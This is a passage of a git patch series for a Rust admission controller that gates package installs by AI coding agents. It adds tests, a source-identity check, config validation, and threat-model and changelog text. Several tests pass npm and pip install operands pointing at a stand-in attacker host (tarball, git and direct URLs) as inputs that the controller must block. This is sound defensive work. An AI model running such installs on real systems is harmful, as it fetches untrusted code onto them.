https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/lib.rs - Podman Project. (2026). *podman-pull — Pull an image from a registry.* https://docs.podman.io/en/stable/markdown/podman-pull.1.html -- The Rust Project. (2026). *cargo install — The Cargo Book.* https://doc.rust-lang.org/cargo/commands/cargo-install.html +- Rust Project Developers. (2026). *cargo install—The Cargo Book.* https://doc.rust-lang.org/cargo/commands/cargo-install.html - SLSA Community. (2025). *SLSA specification, version 1.2.* https://slsa.dev/spec/v1.2/ - The Update Framework. (2026). *Specification, version 1.0.33.* https://theupdateframework.io/spec/ - Sigstore. (2026). *Sigstore documentation: Overview and security model.* https://docs.sigstore.dev/ ; https://docs.sigstore.dev/about/security/ -NIST SP 800-218 Rev. 1 / SSDF 1.2 is still a draft as of this document's 2026-09-02 verification and is tracked as informative rather than binding: https://csrc.nist.gov/Projects/ssdf/publications +NIST SP 800-218 Rev. 1 / SSDF 1.2 is still a draft as of this document's 2026-09-02 verification and is tracked as informative rather than binding: https://csrc.nist.gov/Projects/ssdf/publications \ No newline at end of file From 4cfdaf9060d0bee0b137dfc7d5d3ff5ec9c1a36d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 00:10:16 +0900 Subject: [PATCH 208/702] test(admission): cover Cargo mutation flag variants --- .../cargo_overwrite_authority_contract.rs | 25 ++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs b/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs index ae36e527..550c96f6 100644 --- a/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs @@ -14,7 +14,14 @@ fn cargo_overwrite_and_tracking_overrides_require_separate_review_authority() { // Cargo documents --force as permitting overwrite of existing crates/binaries // and --no-track as disabling install metadata and concurrent-install protection. // Neither side effect is represented by the approved artifact coordinate. - for unreviewed_mutation in [vec!["--force"], vec!["-f"], vec!["--no-track"]] { + for unreviewed_mutation in [ + vec!["--force"], + vec!["--force=true"], + vec!["-f"], + vec!["-fq"], + vec!["--no-track"], + vec!["--no-track=true"], + ] { let policy = approved_cargo_policy(); let mut argv = vec![ "cargo".to_string(), @@ -46,6 +53,22 @@ fn cargo_overwrite_and_tracking_overrides_require_separate_review_authority() { } } +#[test] +fn reviewed_cargo_install_without_mutation_override_remains_eligible() { + let policy = approved_cargo_policy(); + let intent = approved_cargo_intent(vec![ + "cargo".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--locked".to_string(), + ]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + fn approved_cargo_policy() -> AdmissionPolicy { AdmissionPolicy { policy_id: "cargo-overwrite-authority-test".to_string(), From 7caadbb13b30ddbaf1890603cb473a4b431639c5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:11:22 +0900 Subject: [PATCH 209/702] test(admission): reject npm package-spec source substitution --- .../npm_artifact_source_identity_contract.rs | 120 ++++++++++++++++++ 1 file changed, 120 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs diff --git a/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs b/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs new file mode 100644 index 00000000..9a9614e8 --- /dev/null +++ b/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs @@ -0,0 +1,120 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, AdmissionServiceConfig, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, + DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, + validate_service_config, +}; + +const MANIFEST_SHA256: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const PACKAGE_NAME: &str = "@cwl/example"; +const PACKAGE_VERSION: &str = "1.2.3"; +const REGISTRY_URL: &str = "https://registry.npmjs.org"; + +#[test] +fn npm_package_spec_cannot_replace_reviewed_registry_coordinate() { + for artifact_argument in [ + "https://attacker.invalid/example.tgz", + "git+https://attacker.invalid/example.git#deadbeef", + "alias@npm:@cwl/example@1.2.3", + "./local-package", + ] { + let policy = approved_npm_policy(artifact_argument); + let intent = approved_npm_intent(artifact_argument); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "npm package-spec {artifact_argument:?} must not replace the reviewed registry name/version coordinate" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "coordinate/package-spec disagreement must report artifact_not_approved" + ); + } +} + +#[test] +fn exact_npm_registry_name_and_version_remain_allowed() { + let artifact_argument = format!("{PACKAGE_NAME}@{PACKAGE_VERSION}"); + let policy = approved_npm_policy(&artifact_argument); + let intent = approved_npm_intent(&artifact_argument); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn service_config_rejects_npm_package_spec_that_disagrees_with_coordinate() { + let config = AdmissionServiceConfig { + configuration_version: "1".to_string(), + bind_address: "127.0.0.1:8787".to_string(), + max_request_body_bytes: 64 * 1024, + audit_log_path: "/var/lib/wardnet/agent-artifact-admission.ndjson".to_string(), + policy: approved_npm_policy("https://attacker.invalid/example.tgz"), + }; + + assert!( + validate_service_config(&config).is_err(), + "unsafe reviewed registry coordinate must fail during configuration admission" + ); +} + +fn approved_npm_policy(artifact_argument: &str) -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "npm-artifact-source-identity-test".to_string(), + policy_revision: "1".to_string(), + allowed_executables: vec!["npm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_SHA256.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: PACKAGE_NAME.to_string(), + version: PACKAGE_VERSION.to_string(), + registry_url: REGISTRY_URL.to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: artifact_argument.to_string(), + }], + } +} + +fn approved_npm_intent(artifact_argument: &str) -> InstallIntent { + InstallIntent { + request_id: "req-npm-artifact-source-identity".to_string(), + actor_id: "agent:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "npm".to_string(), + "install".to_string(), + artifact_argument.to_string(), + "--ignore-scripts".to_string(), + ], + manifest_sha256: MANIFEST_SHA256.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: PACKAGE_NAME.to_string(), + version: PACKAGE_VERSION.to_string(), + registry_url: REGISTRY_URL.to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: artifact_argument.to_string(), + }], + } +} From 551101f24973751a59e173717d3460ae633e84c4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:12:59 +0900 Subject: [PATCH 210/702] test(admission): reject PyPI direct-source substitution --- .../pypi_artifact_source_identity_contract.rs | 120 ++++++++++++++++++ 1 file changed, 120 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs new file mode 100644 index 00000000..fece97eb --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs @@ -0,0 +1,120 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, AdmissionServiceConfig, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, + DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, + validate_service_config, +}; + +const MANIFEST_SHA256: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const PACKAGE_NAME: &str = "example-package"; +const PACKAGE_VERSION: &str = "1.2.3"; +const REGISTRY_URL: &str = "https://pypi.org/simple"; + +#[test] +fn pypi_requirement_cannot_replace_reviewed_index_coordinate() { + for artifact_argument in [ + "example-package @ https://attacker.invalid/example.zip", + "git+https://attacker.invalid/example.git@deadbeef", + "./local-package", + ] { + let policy = approved_pypi_policy(artifact_argument); + let intent = approved_pypi_intent(artifact_argument); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "pip requirement {artifact_argument:?} must not replace the reviewed index name/version coordinate" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "coordinate/requirement disagreement must report artifact_not_approved" + ); + } +} + +#[test] +fn exact_pypi_index_name_and_version_remain_allowed() { + let artifact_argument = format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"); + let policy = approved_pypi_policy(&artifact_argument); + let intent = approved_pypi_intent(&artifact_argument); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn service_config_rejects_pypi_requirement_that_disagrees_with_coordinate() { + let config = AdmissionServiceConfig { + configuration_version: "1".to_string(), + bind_address: "127.0.0.1:8787".to_string(), + max_request_body_bytes: 64 * 1024, + audit_log_path: "/var/lib/wardnet/agent-artifact-admission.ndjson".to_string(), + policy: approved_pypi_policy("example-package @ https://attacker.invalid/example.zip"), + }; + + assert!( + validate_service_config(&config).is_err(), + "unsafe reviewed index coordinate must fail during configuration admission" + ); +} + +fn approved_pypi_policy(artifact_argument: &str) -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "pypi-artifact-source-identity-test".to_string(), + policy_revision: "1".to_string(), + allowed_executables: vec!["pip".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_SHA256.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "pypi".to_string(), + name: PACKAGE_NAME.to_string(), + version: PACKAGE_VERSION.to_string(), + registry_url: REGISTRY_URL.to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: artifact_argument.to_string(), + }], + } +} + +fn approved_pypi_intent(artifact_argument: &str) -> InstallIntent { + InstallIntent { + request_id: "req-pypi-artifact-source-identity".to_string(), + actor_id: "agent:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "pip".to_string(), + "install".to_string(), + artifact_argument.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: MANIFEST_SHA256.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: PACKAGE_NAME.to_string(), + version: PACKAGE_VERSION.to_string(), + registry_url: REGISTRY_URL.to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: artifact_argument.to_string(), + }], + } +} From ec724274ae99cd1c1f1eeb3535ea2efa8235aebc Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:13:10 +0900 Subject: [PATCH 211/702] feat(admission): bind package operand to reviewed source identity --- .../src/artifact_source_identity.rs | 58 +++++++++++++++++++ 1 file changed, 58 insertions(+) create mode 100644 crates/agent-artifact-admission/src/artifact_source_identity.rs diff --git a/crates/agent-artifact-admission/src/artifact_source_identity.rs b/crates/agent-artifact-admission/src/artifact_source_identity.rs new file mode 100644 index 00000000..510a6321 --- /dev/null +++ b/crates/agent-artifact-admission/src/artifact_source_identity.rs @@ -0,0 +1,58 @@ +use crate::InstallIntent; + +/// Return whether an install operand selects an artifact source that disagrees +/// with the reviewed registry/index name and exact version coordinate. +pub(crate) fn requests_unapproved_artifact_source(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + let supported_direct_install = match executable { + "npm" => arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "install" | "i")), + "pnpm" | "bun" => arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "add" | "install")), + "yarn" => arguments.first().is_some_and(|argument| argument == "add"), + "pip" | "pip3" => arguments + .first() + .is_some_and(|argument| argument == "install"), + "uv" => { + arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") + } + _ => false, + }; + if !supported_direct_install { + return false; + } + + intent.artifacts.iter().any(|artifact| { + !artifact_argument_matches_reviewed_source( + &artifact.ecosystem, + &artifact.name, + &artifact.version, + &artifact.artifact_argument, + ) + }) +} + +/// Require registry/index-backed package ecosystems to encode the exact +/// reviewed name and version in the direct installer operand. This prevents a +/// policy coordinate from being paired with an npm alias/tarball/git/folder or +/// a pip direct URL/VCS/local source that has a different source authority. +pub(crate) fn artifact_argument_matches_reviewed_source( + ecosystem: &str, + name: &str, + version: &str, + artifact_argument: &str, +) -> bool { + match ecosystem { + "npm" => artifact_argument == format!("{name}@{version}"), + "pypi" => artifact_argument == format!("{name}=={version}"), + _ => true, + } +} From 13cd6dd06bc2ddc66dda45e00226d72cdeeb717d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:13:28 +0900 Subject: [PATCH 212/702] fix(admission): reject package operand source substitution --- crates/agent-artifact-admission/src/lib.rs | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 73f64c73..e6385d0d 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -1,6 +1,7 @@ //! Fail-closed package-install admission primitives for AI coding agents. mod admission; +mod artifact_source_identity; mod artifact_variant; mod audit; mod cargo_install_authority; @@ -31,6 +32,12 @@ pub fn admission_decision( intent: &InstallIntent, ) -> AdmissionDecision { let mut decision = policy::admission_decision(policy, intent); + if artifact_source_identity::requests_unapproved_artifact_source(intent) { + if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } if artifact_variant::requests_unapproved_artifact_variant(intent) { if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); From dcf5c9e838ad9a60915ff9c1e04da4857a36d0e0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:13:59 +0900 Subject: [PATCH 213/702] fix(config): fail closed on package source-coordinate drift --- crates/agent-artifact-admission/src/config.rs | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/crates/agent-artifact-admission/src/config.rs b/crates/agent-artifact-admission/src/config.rs index 6d8dfed5..47021328 100644 --- a/crates/agent-artifact-admission/src/config.rs +++ b/crates/agent-artifact-admission/src/config.rs @@ -7,6 +7,7 @@ use std::path::Path; use serde::{Deserialize, Serialize}; +use crate::artifact_source_identity::artifact_argument_matches_reviewed_source; use crate::policy::{ canonical_registry_url, is_permanently_forbidden_executable, supported_executable, valid_pinned_version, valid_text_field, @@ -197,6 +198,12 @@ fn validate_policy(policy: &AdmissionPolicy) -> Result<(), ConfigError> { || !valid_text_field(&artifact.owner, 512) || !is_sha256_hex(&artifact.sha256) || !valid_text_field(&artifact.artifact_argument, 1024) + || !artifact_argument_matches_reviewed_source( + &artifact.ecosystem, + &artifact.name, + &artifact.version, + &artifact.artifact_argument, + ) || !artifacts.insert(( artifact.ecosystem.as_str(), artifact.name.as_str(), From 3b478492c27373b8b1677a459ab2e4f87f6d9cb3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:15:07 +0900 Subject: [PATCH 214/702] docs(security): bind package specs to reviewed source identity --- docs/security/agent-artifact-admission-threat-model.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index 52c0d395..a4cedeff 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -6,7 +6,7 @@ A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, overwrite an existing Cargo-installed crate or binary, disable Cargo install tracking/concurrent-install protection, reinterpret an approved PyPI coordinate as permission for pip or uv to select an unreviewed target platform/build variant or resolve undeclared transitive artifacts, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, caller-selected npm configuration file, executable pnpmfile hook, caller-selected registry authentication file/principal, or caller-selected image-decryption key/passphrase, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, overwrite an existing Cargo-installed crate or binary, disable Cargo install tracking/concurrent-install protection, reinterpret an approved PyPI coordinate as permission for pip or uv to select an unreviewed target platform/build variant or resolve undeclared transitive artifacts, reinterpret an approved npm/PyPI registry or index coordinate as permission to substitute an alias, tarball URL, direct URL, VCS repository, local archive, local directory, alternate index or registry, caller-selected npm configuration file, executable pnpmfile hook, caller-selected registry authentication file/principal, or caller-selected image-decryption key/passphrase, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -16,7 +16,7 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment, workspace-scope, build-variant, destructive install mutation, dependency-cardinality, parser-boundary, trust/secret authority and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, Cargo `-f` / `--force` overwrite authority and `--no-track` metadata/concurrent-install bypass, unbound pip/uv target and source-build selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, Podman caller-selected registry authentication files/principals and image-decryption key/passphrase material, and pnpm's submitted dotted configuration channel. Admitted pip, pip3 and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts missing from the reviewed intent. Admitted pnpm installs require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval/decryption verification, secret/key access, filesystem, mount, process and network isolation. +- Package-manager source, destination, environment, workspace-scope, build-variant, destructive install mutation, dependency-cardinality, parser-boundary, trust/secret authority and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, Cargo `-f` / `--force` overwrite authority and `--no-track` metadata/concurrent-install bypass, unbound pip/uv target and source-build selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, Podman caller-selected registry authentication files/principals and image-decryption key/passphrase material, and pnpm's submitted dotted configuration channel. For the npm ecosystem, a direct operand must be the exact reviewed `@` registry coordinate; for PyPI it must be the exact reviewed `==` index coordinate. npm aliases, tarball/git/folder package specs and pip direct URL/VCS/local-source requirements therefore cannot inherit approval from a different reviewed registry/index coordinate. Unsafe source-coordinate drift is rejected both when service policy is loaded and when an install intent is admitted. Admitted pip, pip3 and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts missing from the reviewed intent. Admitted pnpm installs require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval/decryption verification, secret/key access, filesystem, mount, process and network isolation. ## Residual risk and future adapters @@ -30,8 +30,10 @@ SHA-256 equality proves byte identity only when the execution path independently - npm, Inc. (2026). *Config.* https://docs.npmjs.com/using-npm/config/ - npm, Inc. (2026). *Workspaces.* https://docs.npmjs.com/misc/workspaces/ - npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/install/ +- npm, Inc. (2026). *Package spec.* https://docs.npmjs.com/cli/v11/using-npm/package-spec/ - npm, Inc. (2026). *npm exec.* https://docs.npmjs.com/cli/npm-exec/ - pip developers. (2026). *pip install.* https://pip.pypa.io/en/latest/cli/pip_install/ +- pip developers. (2026). *Requirement specifiers.* https://pip.pypa.io/en/latest/reference/requirement-specifiers/ - pip developers. (2026). *Repeatable installs.* https://pip.pypa.io/en/latest/topics/repeatable-installs/ - pnpm contributors. (2026). *.pnpmfile.mjs.* https://pnpm.io/pnpmfile - pnpm contributors. (2026). *Build settings.* https://pnpm.io/settings/build From e4def8f1266565bd898b1bd1a4b97338cf3ba236 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:15:42 +0900 Subject: [PATCH 215/702] docs(changelog): record package source-coordinate binding --- CHANGELOG.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5f4179c2..03ad839b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,7 @@ - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, opaque runtime configuration, or undeclared PyPI dependency resolution: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs require both `--ignore-scripts` and `--ignore-pnpmfile`; admitted pip, pip3, and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts absent from the reviewed intent. +- Bound registry/index package source identity to the reviewed artifact coordinate: npm/pnpm/Yarn/Bun direct package operands must encode the exact reviewed `@`, and pip/pip3/`uv pip install` operands must encode the exact reviewed `==`. npm aliases, tarball/git/folder package specs and pip direct URL/VCS/local-source requirements cannot inherit approval from a different reviewed registry/index coordinate; unsafe policy drift fails closed during service configuration as well as request admission. - Bound Cargo install mutation authority to reviewed policy: caller-supplied `-f` / `--force` overwrite capability and `--no-track` metadata/concurrent-install bypass now fail closed as `artifact_not_approved` because the approved artifact coordinate does not authorize replacing existing binaries or disabling Cargo's install tracking/collision protection. - Bound PyPI approval to the reviewed artifact/build identity rather than caller-selected installer resolution or build variants: pip `--platform`, `--python-version`, `--implementation`, `--abi`, binary/source selectors, build-isolation controls, and `-C` / `--config-settings`, together with the corresponding `uv pip install` target-platform/binary/source/build/backend controls, fail closed as `artifact_not_approved` until policy can bind the selected distribution/build identity explicitly. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. @@ -16,5 +17,5 @@ ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, Cargo overwrite/tracking authority, PyPI artifact/build-variant and dependency-cardinality controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. -- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, package source-coordinate binding, Cargo overwrite/tracking authority, PyPI artifact/build-variant and dependency-cardinality controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. +- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. \ No newline at end of file From 66e31739a0b20935cc3a93401d07fc827c59ab4c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:16:09 +0900 Subject: [PATCH 216/702] test(architecture): include artifact source identity domain module --- .../tests/ddd_architecture_contract.rs | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs index 2bd8e9a0..eaaa35b0 100644 --- a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs +++ b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs @@ -6,6 +6,10 @@ const DOMAIN_SOURCES: &[(&str, &str)] = &[ ("admission.rs", include_str!("../src/admission.rs")), + ( + "artifact_source_identity.rs", + include_str!("../src/artifact_source_identity.rs"), + ), ("artifact_variant.rs", include_str!("../src/artifact_variant.rs")), ("oci_transport.rs", include_str!("../src/oci_transport.rs")), ("policy.rs", include_str!("../src/policy.rs")), From debcc2645b41b9f5339c7fbd64adfb1d0aeb3b99 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:35:56 +0900 Subject: [PATCH 217/702] test(admission): expose npm transitive dependency widening --- .../npm_dependency_cardinality_contract.rs | 107 ++++++++++++++++++ 1 file changed, 107 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs diff --git a/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs b/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs new file mode 100644 index 00000000..3fd097fd --- /dev/null +++ b/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs @@ -0,0 +1,107 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const MANIFEST_DIGEST: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_DIGEST: &str = + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const ARTIFACT_ARGUMENT: &str = "@cwl/example@1.2.3"; + +#[test] +fn npm_family_direct_installs_fail_closed_without_reviewed_dependency_closure() { + for executable in ["npm", "pnpm", "yarn", "bun"] { + let (policy, intent) = approved_npm_family_install(executable); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} direct install can resolve transitive artifacts absent from the reviewed direct artifact set" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "dependency_closure_unverified"), + "{executable} must expose that no reviewed transitive dependency closure is enforceable by this direct-install grammar" + ); + } +} + +fn approved_npm_family_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let 